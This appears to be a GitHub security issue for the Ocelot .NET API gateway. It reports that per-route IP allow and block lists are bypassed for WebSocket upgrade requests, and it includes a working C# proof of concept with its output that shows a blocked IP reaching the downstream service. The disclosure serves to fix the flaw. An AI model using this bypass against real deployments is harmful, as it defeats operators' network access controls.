ThreeMammals/Ocelot

IP allow and block list (SecurityOptions) bypassed for WebSocket upgrade requests

Closed

#2,403 opened on Jun 15, 2026

 (4 comments) (0 reactions) (1 assignee)C# (1,617 forks)batch import
NET10Security OptionsWebsocketsbuggood first issuehelp wantedhighmedium effort

Repository metrics

Stars
 (8,137 stars)
PR merge metrics
 (Avg merge 44d 17h) (6 merged PRs in 30d)

Description

Summary

Ocelot enforces its per-route IP allow and block lists (SecurityOptions.IPAllowedList / IPBlockedList) through SecurityMiddleware, which is only registered in the main HTTP request pipeline. When an incoming request is a WebSocket upgrade request, Ocelot forks the request into a separate, much shorter pipeline that does not include SecurityMiddleware. As a result, a client whose IP address is explicitly blocked (or not present in the allow list) can still reach the protected downstream service by sending a WebSocket upgrade request, completely bypassing the operator's IP filtering control.

Details

The Ocelot pipeline is assembled in src/Ocelot/Middleware/OcelotPipelineExtensions.cs. For normal HTTP requests the pipeline includes the security module:

// This security module, IP whitelist blacklist, extended security mechanism
app.UseMiddleware<SecurityMiddleware>();

SecurityMiddleware runs IPSecurityPolicy (src/Ocelot/Security/IPSecurityPolicy.cs), which compares context.Connection.RemoteIpAddress against the route's expanded IPBlockedList / IPAllowedList and sets a pipeline error when the client IP is blocked or not allowed.

WebSocket upgrade requests are forked away before that middleware ever runs:

// If the request is for WebSockets upgrade we fork into a different pipeline
app.UseWebSockets();
app.MapWhen(context => context.WebSockets.IsWebSocketRequest, app => app.ConfigureWebSockets(configuration));

The forked pipeline is defined in the same file and contains no security, authentication, or authorization middleware:

public static void ConfigureWebSockets(this IApplicationBuilder app, OcelotPipelineConfiguration configuration)
{
    app.UseMiddleware<DownstreamRouteFinderMiddleware>();
    app.UseMiddleware<MultiplexingMiddleware>();
    app.UseMiddleware<DownstreamRequestInitialiserMiddleware>();
    app.UseMiddleware<LoadBalancingMiddleware>();
    app.UseMiddleware<DownstreamUrlCreatorMiddleware>();
    app.UseIfNotNull<WebSocketsProxyMiddleware>(configuration.WebSocketsMiddlewareType);
    app.UseIfNotNull<WebSocketsProxyMiddleware>(configuration.WebSocketsMiddleware, configuration.WebSocketsMiddlewareType is null);
}

SecurityMiddleware is registered exactly once in the codebase, only in the main pipeline. Because MapWhen short-circuits the request into the fork, the IP allow/block evaluation never executes for a WebSocket upgrade. The same defect is present in the 24.1.0 release, where the fork is written inline:

app.MapWhen(httpContext => httpContext.WebSockets.IsWebSocketRequest,
    ws =>
    {
        ws.UseMiddleware<DownstreamRouteFinderMiddleware>();
        ws.UseMiddleware<MultiplexingMiddleware>();
        ws.UseMiddleware<DownstreamRequestInitialiserMiddleware>();
        ws.UseMiddleware<LoadBalancingMiddleware>();
        ws.UseMiddleware<DownstreamUrlCreatorMiddleware>();
        ws.UseMiddleware<WebSocketsProxyMiddleware>();
    });

The WebSockets documentation lists authentication and authorization as unsupported over WebSockets, but it does not state that the IP allow/block list security feature is silently bypassed. An operator who restricts a route by IP reasonably expects that restriction to apply to all requests to that route, including WebSocket upgrades.

PoC

Prerequisites: .NET 10 SDK, the Ocelot source tree. A gateway is configured with one route that proxies to a downstream WebSocket service and that has SecurityOptions.IPBlockedList containing the address the client connects from (127.0.0.1 in this test). A downstream service exposes both an HTTP endpoint and a WebSocket echo endpoint on port 6001.

  1. Gateway program (references the local Ocelot project), listening on http://127.0.0.1:6000:
using System.Net.WebSockets;
using System.Text;
using Microsoft.AspNetCore.Builder;
using Ocelot.Configuration.File;
using Ocelot.DependencyInjection;
using Ocelot.Middleware;

// Downstream service on 127.0.0.1:6001 (HTTP + WebSocket echo)
var downBuilder = WebApplication.CreateBuilder();
downBuilder.WebHost.UseUrls("http://127.0.0.1:6001");
var down = downBuilder.Build();
down.UseWebSockets();
down.Use(async (ctx, next) =>
{
    if (ctx.WebSockets.IsWebSocketRequest)
    {
        using var ws = await ctx.WebSockets.AcceptWebSocketAsync();
        var buf = new byte[1024];
        var res = await ws.ReceiveAsync(new ArraySegment<byte>(buf), CancellationToken.None);
        var msg = Encoding.UTF8.GetString(buf, 0, res.Count);
        var reply = Encoding.UTF8.GetBytes("DOWNSTREAM-WS-ECHO:" + msg);
        await ws.SendAsync(new ArraySegment<byte>(reply), WebSocketMessageType.Text, true, CancellationToken.None);
        await ws.CloseAsync(WebSocketCloseStatus.NormalClosure, "bye", CancellationToken.None);
        return;
    }
    await next();
});
down.MapGet("/{**rest}", () => "DOWNSTREAM-HTTP-OK");
_ = down.RunAsync();

// Ocelot gateway on 127.0.0.1:6000, route blocks 127.0.0.1
var cfg = new FileConfiguration();
cfg.Routes.Add(new FileRoute
{
    UpstreamPathTemplate = "/proxy/{everything}",
    UpstreamHttpMethod = new HashSet<string> { "GET" },
    DownstreamPathTemplate = "/{everything}",
    DownstreamScheme = "http",
    DownstreamHostAndPorts = new List<FileHostAndPort> { new("127.0.0.1", 6001) },
    SecurityOptions = new FileSecurityOptions { IPBlockedList = new List<string> { "127.0.0.1" } },
});

var gwBuilder = WebApplication.CreateBuilder();
gwBuilder.WebHost.UseUrls("http://127.0.0.1:6000");
gwBuilder.Configuration.AddOcelot(cfg);
gwBuilder.Services.AddOcelot(gwBuilder.Configuration);
var gw = gwBuilder.Build();
await gw.UseOcelot();
_ = gw.RunAsync();
await Task.Delay(3000);

// 1) Normal HTTP request from the blocked IP
using var http = new HttpClient();
var r = await http.GetAsync("http://127.0.0.1:6000/proxy/anything");
Console.WriteLine($"[HTTP] status={(int)r.StatusCode}");

// 2) WebSocket upgrade request from the same blocked IP
using var wsc = new ClientWebSocket();
await wsc.ConnectAsync(new Uri("ws://127.0.0.1:6000/proxy/anything"), CancellationToken.None);
var send = Encoding.UTF8.GetBytes("hello-from-blocked-ip");
await wsc.SendAsync(new ArraySegment<byte>(send), WebSocketMessageType.Text, true, CancellationToken.None);
var rbuf = new byte[1024];
var rres = await wsc.ReceiveAsync(new ArraySegment<byte>(rbuf), CancellationToken.None);
Console.WriteLine($"[WS]   reply=\"{Encoding.UTF8.GetString(rbuf, 0, rres.Count)}\"");
  1. Run it. Observed output:
[HTTP] status=401
warn: Ocelot.Responder.Middleware.ResponderMiddleware[0]
      ResponderMiddleware found 1 error ->
      UnauthenticatedError: This request rejects access to 127.0.0.1 IP
      Setting error response for request: GET /proxy/anything

info: Microsoft.AspNetCore.Hosting.Diagnostics[1]
      Request starting HTTP/1.1 GET http://127.0.0.1:6001/anything - - -
[WS]   reply="DOWNSTREAM-WS-ECHO:hello-from-blocked-ip"

The normal HTTP request from the blocked IP is rejected with status 401 by SecurityMiddleware. The WebSocket upgrade request from the very same blocked IP is proxied through to the downstream (note the downstream log line GET http://127.0.0.1:6001/anything) and the client receives the downstream's echo, proving the IP block was bypassed.

Impact

An attacker whose source IP is explicitly blocked by a route's SecurityOptions (or simply absent from a configured allow list) can still reach the protected downstream service by issuing a WebSocket upgrade request to that route. Operators who rely on Ocelot's IP allow/block list to restrict network access to a downstream WebSocket service (or any route reachable via upgrade) lose that protection. The confidentiality and integrity impact is whatever the downstream WebSocket channel exposes (reading and writing messages to the otherwise IP-restricted service).

Contributor guide